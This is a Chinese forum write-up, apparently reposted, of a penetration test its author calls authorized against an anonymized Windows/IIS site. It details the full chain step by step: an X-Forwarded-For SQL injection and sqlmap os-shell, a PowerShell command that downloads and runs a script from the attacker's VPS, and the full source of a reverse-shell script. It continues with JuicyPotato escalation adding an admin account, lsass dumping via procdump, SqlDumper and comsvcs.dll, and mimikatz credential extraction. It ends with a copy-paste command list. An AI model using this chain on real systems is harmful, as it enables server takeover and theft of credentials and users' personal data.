记录一次授权渗透测试【通过】
2020-07-12 13:21:45 Author: forum.90sec.com(查看原文) 阅读量:676 收藏

个人水平有限,文章若有不足之处,感谢90的各位大佬批评指正,希望能够进入90sec与各位师傅分享学习。

目标地址:http://www.xxx.com

image

找到ip地址,进行访问,发现ip为:x.x.x.x

image

使用ip地址进行访问

image

0x01 信息收集

指纹识别结果:IIS10.0,asp.net,Windows Server

image

image

爬取了一下网站,发现fackeditor,和很多接口

image

利用御剑目录扫描,扫出来一些fackeditor的连接和upload目录

image

0x02 测试阶段

尝试利用fackeditor的两处上传点进行上传,但是由于一直卡住传不上去和上传校验遂放弃了

image

image

对主站抓包测试发现,网站返回访问者IP地址,依据经验这里经常存在XFF注入

image

截取数据包修改X-Forwarded-For: 1.1.1.1

image

发现当前ip并未变化说明此处不存在XSS

习惯性的试了个单引号,数据库报错了,可能存在sql注入,并且泄露了绝对路径。

image

构造sqlserver注入语句:

image

' and 1=db_name()-- 返回数据库

image

' and 1=@@version-- 返回数据库版本

0x03 漏洞利用

既然手工这样都可以注入出来,那尝试一下使用sqlmap。

X-Forwarded-For存在报错,堆叠以及延时注入

image

--dbs获取所有数据库

image

尝试--os-shell,发现可以得到os-shell

image

尝试执行whomai,mssqlserver权限

image

当前权限不够,我们可以利用powershell来反弹shell,然后下载提权exp进行提权,然后添加用户来登陆目标服务器。

首先在vps利用python生成一个web

python3 -m http.server 8000

image

http://www.vps.com:8000/1.ps1

ps1文件可以访问

image

1.ps1的内容里填入需要利用powershell反弹的vps和端口

image

vps监听9999端口,在os-shell中执行以下命令

powershell IEX (New-Object Net.WebClient).DownloadString('http://www.vps.com:8000/1.ps1');Invoke-lltestTcp

image

shell弹回来了

image

查看版本,版本是2016,64位。

image

现在尝试提权,利用烂土豆直接提,windows下载文件的方式有很多,这里选择powershell的下载方式:

将烂土豆放在vps的web目录

image

在弹回来的powershell中习惯性进入c:\windows\tasks目录,dir发现无文件,然后

输入

$client=new-object System.Net.WebClient

再输入:

$client.DownloadFile('http://www.vps.com:8000/p1.exe', 'c:\windows\tasks\p1.exe')

image

成功下载提权exp到目录,利用exp提权到system权限

image

接下来新建用户,添加到管理员组

./p1.exe -p "net user admin password /add"
./p1.exe -p "net localgroup administrators admin /add"
./p1.exe -p "net user admin"发现用户添加到管理员组成功。

image

接下来找rdp端口,判断是否开放或者对外开放。

tasklist /svc |findstr "Ter"

image
查找TermService对应的pid

通过pid来查找rdp端口,端口为11520
image

netstat -ano | findstr "1628"

通过nmap扫描IP地址发现11520端口对外开放,都不用做流量代理了,很舒服。

image

现在我们通过新建在管理员组的用户登陆进去

image

桌面上东西有点少,在这台电脑里面翻东西有点废时间,于是传了个everything上去

image

因为不是administrator,弹出来了uac,强迫症的我还是想dump出这个管理员的密码。

image

因为现在已经进了3389了,就直接在目标服务器上传mimikatz,省的去webshell里面执行了。

传上去一运行就被杀了,土豆没杀却杀了mimiakatz,利用过了360和火绒的免杀mimikatz依然被杀。

image

对比tasklist /svc发现是微软自带的Microsoft Security Essentials

image

看来直接运行mimikatz是不行了,那就尝试导出lsass.dmp吧,导出lsass.dmp有很多种方法,免杀的有sqldumper和procdump,还可以利用powershell。

这里利用procdump导出了

procdump64.exe -accepteula -ma lsass.exe c:\lsass.dmp

image

但是很神奇,过了一会当我准备拷贝lsass.dmp到本地的时候发现,lsass.dmp居然没了,纳尼?

image

不过不碍事,只要我手速够快,就没有问题,纳尼?手速够快,拷贝速度不够啊,还没拷过来一丢丢呢,就直接出现了错误,果然lsass.dmp果然又没了。

image

那怎么办,dump到其他盘符试试,还是没了

image

那咱们利用sqldumper

通过everything搜索sqldumper,sqldumper的常见路径如下:

C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe

C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe

C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe

发现这个机器的sqldumper的路径和平时遇见的不太一致,先试试吧

image

利用lsass.exe发现PID

image

"C:\Program Files (x86)\Microsoft SQL Server\130\Shared\SqlDumper.exe" 1316 0 0x01100

dump失败

image

换一个路径,dump下来了SQLDmpr0001.mdmp

image

"C:\Program Files\Microsoft SQL Server\130\Shared\SqlDumper.exe" 1316 0 0x01100

复制到本地,管理员打开mimikatz,运行以下语句,报错了,有点小难受,具体原因还不清楚,知道的师傅还请指点。

sekurlsa::minidump SQLDmpr0001.mdmp"

sekurlsa::logonPasswords full

image

利用sqldumper失败了,那最后试试powershell吧,这个还是之前同事告诉我的,感谢同事

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 1316 C:\lsass.dmp full"

成功dump,

image

刷新了半天发现lsass.dmp还在,赶紧拷贝到本地利用mimikatz解密,ok感谢电脑,拷贝过来了

image

mimikatz解密一下

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

Password那里是空的,在win10或者2012R2以上,默认在缓存中禁止保存明文密码,可以修改注册表并且管理员需要重新登陆才能成功抓取明文,不过可以解密一下NTLM

image

nice,果然是收费的,

image

找有钱的公司小姐姐花了一块钱成功解密,感谢公司小姐姐,如果每一个做安全的都像我一样抠门,这些网站估计要倒闭吧

image

我们利用administrator登陆一下

舒服了,桌面上多了很多东西,慢慢翻吧,

image

打开sqlserver management,windows身份认证直接登陆上去:

账号密码邮箱手机号找到了

image

利用里面的账号密码发现都能登录,登陆一下管理员用户看看

image

不过这个站没有内网,后来也就没有进行下去了。

image

后续在服务器继续翻点配置文件的操作,用来写报告的就不多赘述了。因为是授权的,痕迹也不用清了,接下来就是交报告了。

最后整理一下用到的命令吧,希望对喜欢ctrl+v的师傅们有些许帮助,祝各位师傅们身体健康,挖洞每天都是高危+严重。

sql注入测试:

' and 1=db_name()--
' and 1=@@version--

python开启web

python3 -m http.server 8000

powershell反弹shell:

powershell IEX (New-Object Net.WebClient).DownloadString('http://www.vps.com:8000/1.ps1');Invoke-lltestTcp

1.ps1文件内容:

function Invoke-lltestTcp

{

$client = New-Object Net.Sockets.TCPClient('vps',port)

$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)

{

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)

$sendback = (iex $data 2>&1 | Out-String )

$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)

$stream.Write($sendbyte,0,$sendbyte.Length)

$stream.Flush()

}

$client.Close()

}

powershell下载文件:

$client=new-object System.Net.WebClient

$client.DownloadFile('http://www.vps.com:8000/p1.exe', 'c:\windows\tasks\p1.exe')

查看操作系统版本:

wmic OS get Caption,CSDVersion,OSArchitecture,Version

烂土豆提权添加用户:

./JuicyPotato.exe -p "whoami"

./JuicyPotato.exe -p "net user admin password /add"

./JuicyPotato.exe -p "net localgroup administrators admin /add"

查找rdp端口和进程查看:

tasklist /svc |findstr "Ter"

netstat -ano | findstr "PID"

tasklist /svc

procdump64导出lsass.dmp:

procdump64.exe -accepteula -ma lsass.exe c:\lsass.dmp

SqlDumper.exe导出SQLDmpr0001.mdmp:

tasklist /svc |findstr lsass.exe //查看lsass.exe的pid

"C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe" pid 0 0x01100

mimikatz解密SQLDmpr0001.mdmp:

sekurlsa::minidump SQLDmpr0001.mdmp

sekurlsa::logonPasswords full

powershell导出lsass.dmp:

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 1316 C:\lsass.dmp full"

mimikatz解密lsass.dmp:

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

文章来源: https://forum.90sec.com/t/topic/1200/3
如有侵权请联系:admin#unsafe.sh